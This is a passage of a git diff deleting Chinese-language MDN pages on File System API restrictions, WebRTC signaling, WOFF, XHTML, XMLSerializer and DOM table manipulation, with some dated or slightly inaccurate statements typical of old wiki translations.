出于安全的原因,浏览器对于文件的访问施加了一些限制。如果你忽略它们,将会产生安全错误。

- - - -

文件系统API坚持同源策略

- -

一个源是脚本执行的文档的URL的域,应用层协议和端口。每一个源拥有它自己关联的一组文件系统

- -

文件系统上作出的安全限定阻止应用访问不同源的数据。这保护了私有数据以防被访问或删除。例如,当一个应用或页面在http://www.example.com/app/上时,它能访问位于http://www.example.com/dir/上的文件,因为它们拥有相同的源,它不能得到位于http://www.example.com:8080/dir/ (不同端口)或https://www.example.com/dir/ (不同协议)上的文件。

- -

文件系统API不允许创建或重命名可执行文件

- -

为防止恶意的应用运行可执行文件,你不能在文件系统API的沙盒中创建可执行文件。

- -

文件系统是沙盒的

- -

因为文件系统是沙盒的,一个网络应用不能访问另一个应用的文件。你也不能读写用户硬盘中任意文件夹中的文件。

- -

不能通过file://来运行你的应用

- -

你不能在本地通过file://来运行你的应用。如果你那么做了,浏览器将抛出错误,或者你的应用会静默地失败。这一限制也同样针对许多其他的文件API,包括BlobBuilder和FileReader。

- -

出于测试的目的,你可以在Chrome中通过在启动时添加--allow-file-access-from-files参数来绕开这一限制,这一参数仅用于这个目的。

- -

定义

- -

这一部分定义和解释了文件系统API中使用的术语.

- -
-
blob
-
代表二进制大对象。一个blob是存储在单一对象中的一组二进制数据。这是在网络应用中引用二进制数据的通用方法。一个blob可以是一个图片或音频文件。
-
Blob
-
Blob(以大写B开头的)是一个不可变的数据结构,这意味着一个blob引用的二进制数据不能被直接修改。这使得当Blobs传入到异步API时它们的行为将是可预见的。
-
persistent storage | 固定存储
-
固定存储是一种在浏览器中长期存在的的存储,除非用户永久删除它或应用删除它。
-
temporary storage | 临时存储
-
临时存储是任何网络应用都拥有的。它是自动而不需要请求的,但浏览器可以没有任何警告地删除这些存储。
-
- -

其他

- -

规范:http://dev.w3.org/2009/dap/file-system/pub/FileSystem/

- -

引用: File System API Reference

- -

相关文档:

- - diff --git a/files/zh-cn/webrtc/index.html b/files/zh-cn/webrtc/index.html deleted file mode 100644 index 75330b8894..0000000000 --- a/files/zh-cn/webrtc/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: WebRTC -slug: WebRTC -translation_of: Web/API/WebRTC_API -translation_of_original: WebRTC ---- -

WebRTC中的RTC是实时通信的简称,这是一种支持在浏览器客户端之间语音/视频交流和数据分享的技术。WebRTC作为一项标准,使得所有浏览器无需安装插件或第三方软件,就可以点对点地分享应用数据和进行电话会议。

- -

WebRTC组件是通过JavaScript APIs获得的。目前正在开发中的APIs包括:网络流API(能够提供音频和视频),点对点连接API(允许两个或更多用户通过浏览器进行联系)。同样在开发中的还有数据API,能够让浏览器在实时游戏,文字聊天,文件传输和其他应用中与其他类型数据进行交流。

- - - - - - - - -
-

关于Webrtc的文档

- -
-
介绍WebRTC
-
关于什么是WebRTC以及它是如何工作的一个介绍性指南。
-
使用网络流 API
-
使用网络流API传输音频和视频的指南。
-
使用网络流API
-
指导如何使用网络流API创建音频流和视频流。
-
运用WebRTC进行点对点通信
-
如何使用 WebRTC 的API进行对等通信。
-
使用WebRTC进行点对点通信
-
如何使用WebRTC APTs进行点对点通信交流的指导。
-
从网络相机获取图像
-
介绍 WebRTC 是什么并如何工作。
-
从网络摄像头获得图像
-
介绍如何利用 WebRTC 通过网络摄像头获得图像。
-
MediaStream API
-
这个API支持媒体流对象的生成和操作。
-
多媒体API
-
这个API支持通用多媒体对象。
-
getUserMedia()
-
这个函数能获取系统媒体设备。
-
- -

查看全部...

-
-

从社区获取帮助

- -

 

- -

在开发利用WebRTC技术的网站和Web应用程序时,与其他人进行对话可能会很有用。

- -
    -
  • 咨询媒体主题论坛: {{ DiscussionList("dev-media", "mozilla.dev.media") }}
  • -
- -
    -
  • Mozilla's Media IRC 通道提出你的问题: #media
  • -
- -

不要忘记网络礼节...

- - - - - - -

相关资源

- -
    -
  • {{spec("http://www.w3.org/TR/webrtc/", "WebRTC specification", "wd")}}
  • -
-
- -

 

diff --git "a/files/zh-cn/webrtc/\344\273\213\347\273\215/index.html" "b/files/zh-cn/webrtc/\344\273\213\347\273\215/index.html" deleted file mode 100644 index 86ddf25b47..0000000000 --- "a/files/zh-cn/webrtc/\344\273\213\347\273\215/index.html" +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: WebRTC 介绍 -slug: WebRTC/介绍 -translation_of: Web/API/WebRTC_API/Session_lifetime ---- -
-

此页面正在建设中,部分内容会移至其他页面,因为WebRTC指导资料已经建成。

- -

WebRTC允许您将任意数据,音频或视频(或其任何组合)的点对点通信构建到浏览器应用程序中。 在本文中,我们将介绍一个WebRTC会话的生命周期,从建立连接到不再需要时关闭连接。

-
- -

创建连接

- -

互联网很大 很大。 那么多年以前,聪明的人看到它有多大,增长速度有多快,32位IP寻址系统的局限性,并意识到有些事情要做,所以他们开始设计一个新的 64位寻址系统。 但是他们意识到,完成转换需要更长时间才能持续32位地址,所以其他一些机智的人们想出了让多台计算机共享同一个32位IP地址的方法。 网络地址转换(NAT)是通过操纵LAN上的所有设备的数据出入的路由来支持这种地址共享的标准,所有这些设备都共享同一个WAN(全局)IP地址。

- -

用户的问题是互联网上的每台个人计算机不再一定具有唯一的IP地址,实际上,每个设备的IP地址也会变,不仅可能由于设备从一个网络移动到另一个网络,也可能被NAT和/或DHCP改变。 对于尝试进行点对点网络的开发人员,这引入了一个难题:没有每个用户设备的唯一标识符,不可能立即自动地知道如何连接到Internet上的特定设备。 即使你知道你想谈论的人,你不一定知道如何到达他们,甚至也不知道他们的地址。

- -

这就像您尝试向您的朋友Michelle发送一个包裹,但您只在这个包裹上贴了一个写着“Michelle”的标签,而您并不知道她的地址。 您得查到她的地址并将其包装在包中,要不然她会在想为什么你又忘记她的生日了。

- -

这就是信令(Signaling)的由来。

- -

信令

- -

信令是在两个设备之间发送控制信息以确定通信协议、信道、媒体编解码器和格式以及数据传输方法以及任何所需的路由信息的过程。 关于WebRTC的信令流程最重要的一点是:信令在规范中并没有定义。所以开发者需要自己决定如何实现这个过程。开发者可以为应用程序引擎选择任意的信息协议(如SIP或XMPP),任意双向通信信道(如WebSocket或XMLHttpRequest)与持久连接服务器的API(如Google Channel API)一起工作。

- -

你可能会想,为什么这么一个对于建立WebRTC连接至关重要的基本过程居然没有定义在规范里? 答案很简单:由于两个设备无法直接相互联系,规范无法预测WebRTC的所有可能用例,因此更明智的做法就是让开发人员们自己选择合适的网络技术和消息传递协议。

- -

尤其是如果一个开发人员已经有了一个连接两个设备的方法,那也没有必要强迫他们就为了WebRTC使用另一个规范定义的方法。 由于WebRTC没有生活在真空中,所以可能还有其他的连接,因此,如果可以使用已有的连接通道,就可以避免添加额外的连接通道。

- -

为了交换信令信息,您可以选择通过WebSocket连接来回发送JSON对象,或者您可以在适当的通道(Channel)上使用XMPP或SIP,或者您可以通过HTTPS使用XMLHttpRequest进行轮询或者其他任何你可以想出来的技术组合。你甚至可以使用电子邮件作为信号通道。

- -

还值得注意的是,用于执行信令的信道甚至不需要通过网络。 一个Peer可以输出一个数据对象,这个数据对象可以被打印出来,然后物理携带(步行或由信鸽)直到进入另一个设备,然后由该设备输出响应,并以同种方式返回, 直到WebRTC对等连接打开。 这将带来非常高的延迟,但也是可以做到的。

- -

信令期间交换的信息

- -

信令期间需要交换的信息有三种基本类型:

- -
    -
  • 控制消息:用于设置、打开、关闭通信通道并处理错误。
  • -
  • 为了建立连接所需的信息:设备间能够彼此交谈所需的IP寻址和端口信息。
  • -
  • 媒体能力协商:交互双方可以理解哪些编解码器和媒体数据格式? 这些都需要在WebRTC会议开始之前达成一致。
  • -
- -

只有在信令成功完成之后,打开WebRTC对等连接的过程才真正开始。

- -

值得注意的是,在信令期间,信令服务器实际上不需要理解两个设备之间交换的数据或者对这些数据做任何处理。 信令服务器本质上就是一个中继器:两端连接的公共点,两端都知道它们的信令数据可以通过这个点来传输。 服务器不需要以任何方式对此信息做出反应。

- -

信令过程

- -

为了开启一个WebRTC会话,以下事件需要依次发生:

- -
    -
  1. 每个Peer创建一个RTCPeerConnection对象,用来表示其WebRTC会话端。
  2. -
  3. 每个Peer建立一个icecandidate事件的响应程序,用来在监测到该事件时将这些candidates通过信令通道发送给另一个Peer。
  4. -
  5. 每个Peer建立一个track事件的响应程序,这个事件会在远程Peer添加一个track到其stream上时被触发。这个响应程序应将tracks和其消受者联系起来,例如{{HTMLElement("video")}}元素。
  6. -
  7. 呼叫者创建并与接收者共享一个唯一的标识符或某种令牌,使得它们之间的呼叫可以由信令服务器上的代码来识别。此标识符的确切内容和形式取决于您。
  8. -
  9. 每个Peer连接到一个约定的信令服务器,如WebSocket服务器,他们都知道如何与之交换消息。
  10. -
  11. 每个Peer告知信令服务器他们想加入同一WebRTC会话(由步骤4中建立的令牌标识)。
  12. -
  13. 描述,候选地址等 -- 之后会有更多
  14. -
- -

ICE 重连

- -

有时,在WebRTC会话的整个生命周期内,网络条件会发生变化。 其中一个用户可能会从蜂窝网络转移到WiFi网络,或者网络可能会变得拥塞。 当这种情况发生时,ICE代理可以选择执行ICE重连。 在这个过程中网络连接会进行重新协商,与执行初始ICE协商的方式完全相同,除了:媒体继续流过原始网络连接直到新的开始运行。 然后媒体转移到新的网络连接,旧的关闭。

- -

不同的浏览器支持在不同情况下的进行ICE重连。 例如,并不是所有的浏览器都会因为网络拥塞执行ICE重连。

- -

ICE重连有两个级别:全ICE重连会导致会话中的所有媒体流重新协商。 部分ICE重连允许ICE重新协商特定媒体流,而不是所有媒体流进行重新协商。 然而,有些浏览器还不支持部分ICE重启。 <<<你如何触发每一个?>>>

- -

如果您需要以某种方式更改连接的配置(例如更改为不同的ICE服务器集),您可以调用RTCPeerConnection.setConfiguration()设置新的RTCConfiguration字典,然后重新启动ICE。

- -

要明确触发ICE重新启动,只需通过调用RTCPeerConnection.createOffer()启动一个协商过程,同时指定iceRestart选项为true。 然后就像平时那样处理连接过程即可。

- -

发送

- -

getUserMedia(获取用户媒体)

- -

LocalMediaStream object

- -

接收

- -

WebRTC 在Firefox浏览器的偏好选择选项是隐藏的。可以到 about:config 这个页面设置 'media.navigator.enabled' 为 'true'。

- -
-

在Source tree 中有一些测试文件可以提供给您关于WebRTC如何工作的一个想法。具体例子请查看: dom/media/tests/local_video_test.html。您也可以尝试 服务器demo ,源代码: server source

-
- -

 

diff --git a/files/zh-cn/woff/index.html b/files/zh-cn/woff/index.html deleted file mode 100644 index a91795c672..0000000000 --- a/files/zh-cn/woff/index.html +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: 网页开放字体格式(WOFF) -slug: WOFF -tags: - - WOFF - - 字体 -translation_of: Web/Guide/WOFF ---- -

WOFF(网页开放字体格式) 是由 Mozilla 与 Type Supply, LettError 及其他组织协同开发的一种新的网页字体格式。它使用了一种压缩版本,类似于 TrueType, OpenType, Open Font 所采用的 SFNT 结构,不过还添加了共用数据及用户私有数据结构,其中包括了自定义空间,其允许厂家和经销商提供许可证。

- -

WOFF 有以下三点优势:

- -
    -
  1. 字体采用压缩格式,相对于使用不压缩的 TrueType, OpenType 的网站,将占用更少的带宽,获得更快的加载速度。
  2. -
  3. 许多字体经销商并不愿意将 TrueType 或 OpenType 的许可证颁发给网站,他们更愿意颁发 WOFF 的许可证。这对于网站开发者来说将是一个福音。
  4. -
  5. 无论是收费还是免费的浏览器厂家都喜欢 WOFF 格式,因此它很可能成为未来的主流与跨平台字体格式。
  6. -
- -

使用 WOFF

- -

通过 {{ cssxref("@font-face") }} 这个 CSS 属性来为你的网站使用 WOFF 字体。它的工作方式与 OpenType 和 TrueType 十分相似,除了因使用压缩技术而使你的内容更快地加载。

- -

相关工具

- - - -

文档

- - - - - - - - - - - - - - - - - - - - - -
文档状态注释
{{SpecName('WOFF2.0', '', '')}}{{Spec2('WOFF2.0')}}新压缩算法
{{SpecName('WOFF1.0', '', '')}}{{Spec2('WOFF1.0')}}原始规格
- -

浏览器兼容

- -

{{Compat("css.at-rules.font-face")}}

- -

参见

- -
    -
  • {{ cssxref("@font-face") }} 
  • -
diff --git a/files/zh-cn/xhtml/index.html b/files/zh-cn/xhtml/index.html deleted file mode 100644 index e562ccca94..0000000000 --- a/files/zh-cn/xhtml/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: XHTML -slug: XHTML -translation_of: Glossary/XHTML ---- -

W3C标准 XHTML

- -

XHTML(eXtensible HyperText Markup Language,可扩展超文本标记语言)

- -

2000年底,国际W3C(World Wide Web Consortium)组织公布发行了XHTML 1.0版本。XHTML 1.0是一种在HTML 4.0基础上优化和改进的的新语言,目的是基于XML应用。XHTML是一种增强了的HTML,它的可扩展性和灵活性将适应未来网络应用更多的需求。

- -

 

- -

XHTML是在2000年1月26日被国际标准组织机构W3C(World Wide web Consortium)定为一个标准的,认为是HTML的一个最新版本,并且将逐渐替换HTML。现在所有的浏览器都支持XHTML,XHTML兼容 HTML 4.0。也有人认为XHTML就是HTML4.01。如果你在学习过程中自己编写了一个符合标准的站,你可以通过W3C的验证,验证通过后你将会得到一个标志,通常是XHTML1.0认证和CSS验证。大家可以去www.w3.org 这个站点去验证你的站点,如果符合那两个规则则会分别给我们两段代码加到你的网页上向别人展示说明你采用了标准建站。
- 请认真阅读XHTML相关知识和基础教程,以便您能准确的了解XHTML的新特性,以及应用技巧,还可以得到w3c的有力支持。

diff --git a/files/zh-cn/xmlserializer/index.html b/files/zh-cn/xmlserializer/index.html deleted file mode 100644 index 5c0af6bf9f..0000000000 --- a/files/zh-cn/xmlserializer/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: XMLSerializer -slug: XMLSerializer -tags: - - DOM Parsing - - XML - - XMLSerializer - - construct - - conversion -translation_of: Web/API/XMLSerializer ---- -
{{APIRef("XMLSerializer")}}
- -
XMLSerializer接口提供{{domxref("XMLSerializer.serializeToString", "serializeToString()")}} 方法来构建一个代表 {{Glossary("DOM")}} 树的XML字符串。
- -

方法

- -
-
{{domxref("XMLSerializer.serializeToString", "serializeToString()")}}
-
返回DOM子树序列化后的字符串。
-
{{domxref("XMLSerializer.serializeToStream", "serializeToStream()")}} {{ non-standard_inline }}{{ deprecated_inline }}
-
将指定元素的每个子树按照特定的字符集序列化成字节流。
-
- -

示例

- -

把 XML 序列化为字符串

- -

首先,最基本的例子是将整个 document 对象序列化为一个 XML 字符串。

- -
 var s = new XMLSerializer();
- var d = document;
- var str = s.serializeToString(d);
- saveXML(str);
- -

这里新建了一个 XMLSerializer 对象实例, 然后将待序列化的 {{domxref("Document")}} 对象实例传入返回等价 XML 的 {{domxref("XMLSerializer.serializeToString", "serializeToString()")}} 方法。

- -

向一个基于 XML 的 DOM 对象中

- -

本例使用 {domxref("Element.insertAdjacentHTML()")}} 方法将一个新的 DOM {{domxref("Node")}} 插入 基于序列化 {{domxref("Document")}} 对象创建的 XML 中。

- -
-

注意: 在真实场景下,你通常应该通过调用 {{domxref("Document.importNode", "importNode()")}} 方法将新节点加入 DOM 中, 然后通过调用以下方法将目标节点添加到 DOM 树:

- -
    -
  • {{domxref("Document")}} 和 {{domxref("Element")}} 方法 {{domxref("ParentNode.append", "append()")}} 和 {{domxref("ParentNode.prepend", "prepend()")}}
  • -
  • {{domxref("ChildNode.replaceWith", "Node.replaceWith()")}} 方法(替换现有节点)
  • -
  • {{domxref("Document.insertAdjacentElement()")}} 和 {{domxref("Element.insertAdjacentElement()")}} 方法.
  • -
-
- -

因为insertAdjacentHTML() 的第二个参数是一个字符串而不是 Node 节点对象, 所以这里先要使用 XMLSerializer 将节点转换为字符串.

- -
var inp = document.createElement('input');
-var XMLS = new XMLSerializer();
-var inp_xmls = XMLS.serializeToString(inp); // 先将一个 DOM 节点转换为字符串。
-
-// 将新建的节点添加到 DOM 中。
-document.body.insertAdjacentHTML('afterbegin', inp_xmls);
- -

以上代码通过调用 {{domxref("Document.createElement()")}} 方法新建一个 {HTMLElement("input")}} 对象 , 然后通过 {{domxref("XMLSerializer.serializeToString", "serializeToString()")}} 方法将该对象序列化为 XML.

- -

做完以上工作之后, 使用 insertAdjacentHTML() 方法将 <input> 元素加入 DOM.

- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('DOM Parsing', '#the-xmlserializer-interface', 'XMLSerializer')}}{{Spec2('DOM Parsing')}}
- -

浏览器兼容性

- -
{{Compat("api.XMLSerializer")}}
- -

参见

- - diff --git "a/files/zh-cn/\344\275\277\347\224\250javascript\345\222\214dom_interfaces\346\235\245\345\244\204\347\220\206html/index.html" "b/files/zh-cn/\344\275\277\347\224\250javascript\345\222\214dom_interfaces\346\235\245\345\244\204\347\220\206html/index.html" deleted file mode 100644 index 9d18892707..0000000000 --- "a/files/zh-cn/\344\275\277\347\224\250javascript\345\222\214dom_interfaces\346\235\245\345\244\204\347\220\206html/index.html" +++ /dev/null @@ -1,338 +0,0 @@ ---- -title: 使用Javascript和DOM Interfaces来处理HTML -slug: 使用Javascript和DOM_Interfaces来处理HTML -tags: - - DOM -translation_of: >- - Web/API/Document_Object_Model/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces ---- -
-

简介

- -

本文概述了一些强大的,基本的DOM 1 级别中的方法以及如何在JavaScript中使用它们。你将会如何动态地创建,访问,控制以及移除HTML元素。这里提到的DOM方法,并非是HTML专有的;它们在XML中同样适用。这里所有的示例,在任何全面支持DOM level1 的浏览器里都能正常工作;例如Mozilla浏览器或者其他基于Mozilla的浏览器,像网景公司的下一代导航者(Navigatior)浏览器等。这里的示例代码在IE5中也能正常工作。

- -
这里所提到的DOM方法是文档对象模型规范(版本一)的核心的一部分。DOM 1版本包括对文档进行访问和处理的方法(DOM 1 核心)和专门为HTML文档定义的方法。
- -

Sample1.html概览

- -

这段文字是通过一个实例代码来介绍了DOM的。那么我们从下面的HTML示例来开始吧。这段示例使用了DOM1的方法,从JavaScript动态创建了一个HTML表格。它创建了一个包含了四个单元格,并且在每个单元格中含有文本。单元中文字内容是“这个单元式y行x列”,来展示单元格在表格中所处的位置。

- -
<head>
-<title>样例代码 - 使用 JavaScript 和 DOM 接口创建一个 HTML 表格</title>
-<script>
-    function start() {
-        // 获得从body的引用
-        var mybody=document.getElementsByTagName("body").item(0);
-        // 创建一个TABLE的元素
-        var mytable = document.createElement("TABLE");
-        // 创建一个TBODY的元素
-        var mytablebody = document.createElement("TBODY");
-        // 创建所有的单元格
-        for(j=0;j<2;j++) {
-            // 创建一个TR元素
-          var  mycurrent_row=document.createElement("TR");
-            for(i=0;i<2;i++) {
-                // 创建一个TD元素
-              var  mycurrent_cell=document.createElement("TD");
-                // 创建一个文本(text)节点
-              var  currenttext=document.createTextNode("cell is row "+j+", column "+i);
-                // 将我们创建的这个文本节点添加在TD元素里
-                mycurrent_cell.appendChild(currenttext);
-                // 将TD元素添加在TR里
-                mycurrent_row.appendChild(mycurrent_cell);
-            }
-            // 将TR元素添加在TBODY里
-            mytablebody.appendChild(mycurrent_row);
-        }
-        // 将TBODY元素添加在TABLE里
-        mytable.appendChild(mytablebody);
-        // 将TABLE元素添加在BODY里
-        mybody.appendChild(mytable);
-        // 设置mytable的边界属性border为2
-        mytable.setAttribute("border","2");
-    }
-</script>
-</head>
-<body onload="start()">
-</body>
-</html>
-
- -

注意我们创建元素和文本节点的顺序:

- -
    -
  1. 首先我们创建了TABLE元素。
  2. -
  3. 然后,我们创建了TABLE的子元素--TBODY。
  4. -
  5. 然后,我们使用循环语句创建了TBODY的子元素--TR。
  6. -
  7. 对于每一个TR元素,我们使用一个循环语句创建它的子元素--TD。
  8. -
  9. 对于每一个TD元素,我们创建单元格内的文本节点。
  10. -
- -

现在,我们创建了TABLE,TBODY,TR,TD等元素,然后创建了文本节点;接下来,我们将每一个对象接在各自的父节点上,使用逆序:

- -
    -
  1. 首先,我们将每一个文本节点接在TD元素上 -
    mycurrent_cell.appendChild(currenttext);
    -
  2. -
  3. 然后,我们将每一个TD元素接在他的父TR元素上。 -
    mycurrent_row.appendChild(mycurrent_cell);
    -
  4. -
  5. 然后,我们将每一个TR元素接在他们的父TBODY元素上。 -
    mytablebody.appendChild(mycurrent_row);
    -
  6. -
  7. 下一步,我们将TBODY元素接在他的父TABLE元素上 -
    mytable.appendChild(mytablebody);
    -
  8. -
  9. 最后,我们将TABLE元素接在他的父元素BODY上。 -
    mybody.appendChild(mytable);
    -
  10. -
- -

请记住这个机制。你将会在W3C DOM编程中经常使用它。首先,你从上到下的创建元素;然后你从下向上的将子元素接在他们的父元素上。

- -

下面是由javascript代码生成的HTML代码:

- -
...
-<table border="2">
-<tbody>
-<tr><td>cell is row 0 column 0</td><td>cell is row 0 column 1</td></tr>
-<tr><td>cell is row 1 column 0</td><td>cell is row 1 column 1</td></tr>
-</tbody>
-</table>
-...
-
- -

下面是由代码生成的TABLE及其子元素的DOM对象树:

- -

Image:sample1-tabledom.jpg

- -

你可以只用一些DOM方法来创建这个表格和它内部的子元素。请在脑海中时刻保留你想要创建的数据结构的树之模型,这样有利于更简便的写出必须的代码。在图1的TABLE树中,TABLE有一个子元素TBODY。TBODY有两个子元素。每一个TR又含有两个子元素(TD)。最后,每一个TD有一个子元素--文本节点。

- -

基本DOM方法 - Sample2.html

- -

getElementByTagName是文档接口(Document interface)和元素接口(Element interface)的中的方法,所以不管是根文档对象还是所有的元素对象都含有方法getElementByTagName。用来通过它们的标签名称(tag name)来获得某些元素的一系列子元素。你可以使用的方法是:element.getElementsByTagName(tagname)

- -

getElementsByTagName返回一个有特定标签名称(tagname)的子元素列表。从这个子元素列表中,你可以通过调用item和你想得到的元素的下标,来获得单个元素。列表中第一个元素的下标是0。上面的方法很简单,但是当你操作一个巨大的数据结构时还是应该小心一些。 OK,我们下一个话题中要继续对我们的表格例子进行修改。下面的示例更加简单,它意图展示一些基础的方法:

- -
<html>
-<head>
-<title>样例代码 - 使用 JavaScript 和 DOM 接口操作 HTML 表格</title>
-<script>
-    function start() {
-        // 获得所有的body元素列表(在这里将只有一个)
-        myDocumentElements=document.getElementsByTagName("body");
-        // 我们所需要body元素是这个列表的第一个元素
-        myBody=myDocumentElements.item(0);
-        // 现在,让我们获得body的子元素中所有的p元素
-        myBodyElements=myBody.getElementsByTagName("p");
-        // 我们所需要的是这个列表中的第二个单元元素
-        myP=myBodyElements.item(1);
-    }
-</script>
-</head>
-<body onload="start()">
-<p>hi</p>
-<p>hello</p>
-</body>
-</html>
-
- -

在这个例子中,我们设置变量myP指向DOM对象body中的第二个p元素:

- -
    -
  1. 首先,我们使用下面的代码获得所有的body元素的列表,因为在任何合法的HTML文档中都只有一个body元素,所以这个列表是只包含一个单元的。 -
    document.getElementsByTagName("body")
    -
  2. -
  3. 下一步,我们取得列表的第一个元素,它本身就会body元素对象。 -
    myBody=myDocumentElements.item(0);
    -
  4. -
  5. 然后,我们通过下面代码获得body的子元素中所有的p元素 -
    myBodyElements=myBody.getElementsByTagName("p");
    -
  6. -
  7. 最后,我们从列表中取第二个单元元素。 -
    myP=myBodyElements.item(1);
    -
  8. -
- -

Image:sample2a2.jpg

- -

一旦你取得了HTML元素的DOM对象,你就可以设置它的属性了。比如,如果你希望设置背景色属性,你只需要添加:

- -
myP.style.background="rgb(255,0,0)";
-// 设置inline的背景色风格
-
-
- -

使用document.createTextNode(..)创建文本节点

- -

使用文档对象来调用一个createTextNode方法并创建你自己的文本节点。你只需要传递文字内容给这个函数。返回的值就是一个展示那个文本节点信息的对象。

- -
myTextNode=document.createTextNode("world");
-
- -

这表示你已经创建了一个TEXT——NODE(一个文字片断)类型的节点,并且它的内容是“world”,任何你对myTextNode的引用都指向这个节点对象。如果想将这个文本插入到HTML页面中,你还需要将它作为其他节点元素的子元素。

- -

使用appendChild(..)插入元素

- -

那么,通过调用myP.appendChild({{ mediawiki.external('node_element') }})你可以将这个元素设置成为第二个P的一个新的子元素。

- -
myP.appendChild(myTextNode);
-
- -

在测试了这个例子之后,我们注意到,hello和world单词被组合在了一个:helloworld。事实上,当你看到HTML页面时,hello和world两个文字节点看起来更像是一个节点。但是请记住它们在文档模型中的形式--是两个节点。第二个节点是一个TEXT_NODE类型的新节点,也是第二个P标签的第二个子元素。下面的图标将在文档树种展示最近创建的文本节点对象。

- -

Image:sample2b2.jpg

- -
createTextNode 和 appendChild 是在单词hello和world之间设置空格的一个简单方法。另外一个重要的注意事项是:appendChild方法将把新的子节点接在最后一个子节点之后,正如world被加在了hello之后。所以如果你想在hello和world中间添加一个文本节点的话,你应该使用insertBefore而不是appendChild.
- -

使用文档对象和createElement(..)方法创建新的元素

- -

你可以使用createElement来创建新的HTML元素或者任何其它你想要的元素。比如,如果你想要创建一个新的P作为BODY的子元素,你可以使用前面例子的myBody并给它接上一个新的元素节点。使用 document.createElement("tagname")可以方便的创建一个节点。如下:

- -
myNewPTAGnode=document.createElement("p");
-myBody.appendChild(myNewPTAGnode);
-
- -

Image:sample2c.jpg

- -

使用removeChild(..)方法移除节点

- -

每一个节点都可以被移除.下面的一行代码移除了包含在myP(第二个p元素)下面的文本节点world。

- -
myP.removeChild(myTextNode);
-
- -

最后你可以将myTextNode(那个包含了world单词的节点)添加给我们最后创建的P元素:

- -
myNewPTAGnode.appendChild(myTextNode);
-
- -

被修改的对象树的最后的状态如下:

- -

Image:sample2d.jpg

- -

动态创建一个表格(回到Sample1.html)

- -

这一段落的剩余部分我们将继续修改我们sample1.html。下面的图展示了我们在示例中创建的表格的对象树的结构。

- -

复习一下HTML表格结构

- -

Image:sample1-tabledom.jpg

- -

创建元素节点并将他们插入到文档树中

- -

sample1.html中创建表格的基本步骤是:

- -
    -
  • 获得body对象(文档对象的第一个元素)
  • -
  • 创建所有元素。
  • -
  • 最后,根据表格结构(上面图中所示)将每一个孩子节点拼接起来。下面的一段源码是经过修改的sample1.html
  • -
- -
在start函数的最后,有一行新代码。使用另一个DOM方法(setAttribute)来设置表格的边界属性。setAttribute有两个参数:属性的名称和属性的值。你可以使用这个方法来设置任意元素的任意属性。
- -
<head>
-<title>示例代码 - 使用Javascript和DOM Interfaces来处理HTML</title>
-<script>
-    function start() {
-        // 获得body的引用
-        var mybody=document.getElementsByTagName("body").item(0);
-        // 创建一个标签名称为TABLE的元素
-        mytable = document.createElement("TABLE");
-        // 创建一个标签名称为在TBODY的元素
-        mytablebody = document.createElement("TBODY");
-        // 创建所有的单元格
-        for(j=0;j<2;j++) {
-            // 创建一个标签名称为在TR的元素
-            mycurrent_row=document.createElement("TR");
-            for(i=0;i<2;i++) {
-                // 创建一个标签名称为在TD的元素
-                mycurrent_cell=document.createElement("TD");
-                // 创建一个文字节点
-                currenttext=document.createTextNode("cell is row "+j+", column "+i);
-                // 将文字节点添加到TD单元格内
-                mycurrent_cell.appendChild(currenttext);
-                // 将TD单元格添加到TR行中
-                mycurrent_row.appendChild(mycurrent_cell);
-            }
-            // 将TR行添加到TBODY中
-            mytablebody.appendChild(mycurrent_row);
-        }
-        // 将TBODY添加到TABLE中
-        mytable.appendChild(mytablebody);
-        // 将TABLE添加到BODY中
-        mybody.appendChild(mytable);
-        // 设置边界属性为2
-        mytable.setAttribute("border","2");
-    }
-</script>
-</head>
-<body onload="start()">
-</body>
-</html>
-
- -

使用CSS和DOM来操作表格

- -

从表格中获得一个文字节点

- -

示例介绍了两个新的DOM属性。首先,使用childNodes属性来获得mycel的孩子节点列表。childNodes列表包括所有的孩子节点,无论它们的名称或类型是什么。像getElemengByTagName一样,它返回了一个节点列表。不同的是,getElementByTagName只返回指定标签名称的元素。一旦你获得了返回的列表,你可以使用item(x)方法来使用指定的元素。这个例子在表格的第二行第二个单元格中的myceltext中保存了一个文字节点。然后,运行这个例子并观察结果,他创建了一个新的文字节点,这个文字节点的内容是myceltext的值,并且将这个文字节点作为了BODY元素的一个孩子。

- -
如果你的对象是一个文字节点,你可以使用data属性来回收(retrieve)节点的文字内容
- -
mybody=document.getElementsByTagName("body").item(0);
-mytable=mybody.getElementsByTagName("table").item(0);
-mytablebody=mytable.getElementsByTagName("tbody").item(0);
-myrow=mytablebody.getElementsByTagName("tr").item(1);
-mycel=myrow.getElementsByTagName("td").item(1);
-// mycel的孩子节点列表的第一个元素
-myceltext=mycel.childNodes.item(0);
-// currenttext的内容是myceltext的内容
-currenttext=document.createTextNode(myceltext.data);
-mybody.appendChild(currenttext);
-
- -

获得一个属性的值

- -

在sample1的最后我们在mytable对象上调用了setAttribute。这个调用是用来设置表格的边界属性的。然后是用了getAttribute方法来获得一个属性的值:

- -
mytable.getAttribute("border");
-
- -

通过改变样式属性来隐藏一列

- -

一旦你在你的javascript变量中保存了一个对象,你就可以直接为它设置样式属性了。下面的代码是修改后的sample1.html,在这里,第二列的每一个单元格都被隐藏了。而且第一列中的每一个单元格改为使用红色背景。注意,样式属性是被直接设置的。

- -
<html>
-<body onload="start()">
-</body>
-<script>
-    function start() {
-       var mybody=document.getElementsByTagName("body").item(0);
-       mytable = document.createElement("TABLE");
-       mytablebody = document.createElement("TBODY");
-       for(j=0;j<2;j++) {
-           mycurrent_row=document.createElement("TR");
-           for(i=0;i<2;i++) {
-               mycurrent_cell=document.createElement("TD");
-               currenttext=document.createTextNode("cell is:"+i+j);
-               mycurrent_cell.appendChild(currenttext);
-               mycurrent_row.appendChild(mycurrent_cell);
-               // 当column为0时,设置单元格背景色;column为1时隐藏单元格
-               if(i==0) {
-                   mycurrent_cell.style.background="rgb(255,0,0)";
-               } else {
-                   mycurrent_cell.style.display="none";
-               }
-           }
-           mytablebody.appendChild(mycurrent_row);
-       }
-       mytable.appendChild(mytablebody);
-       mybody.appendChild(mytable);
-    }
-</script>
-</html>
-
- -
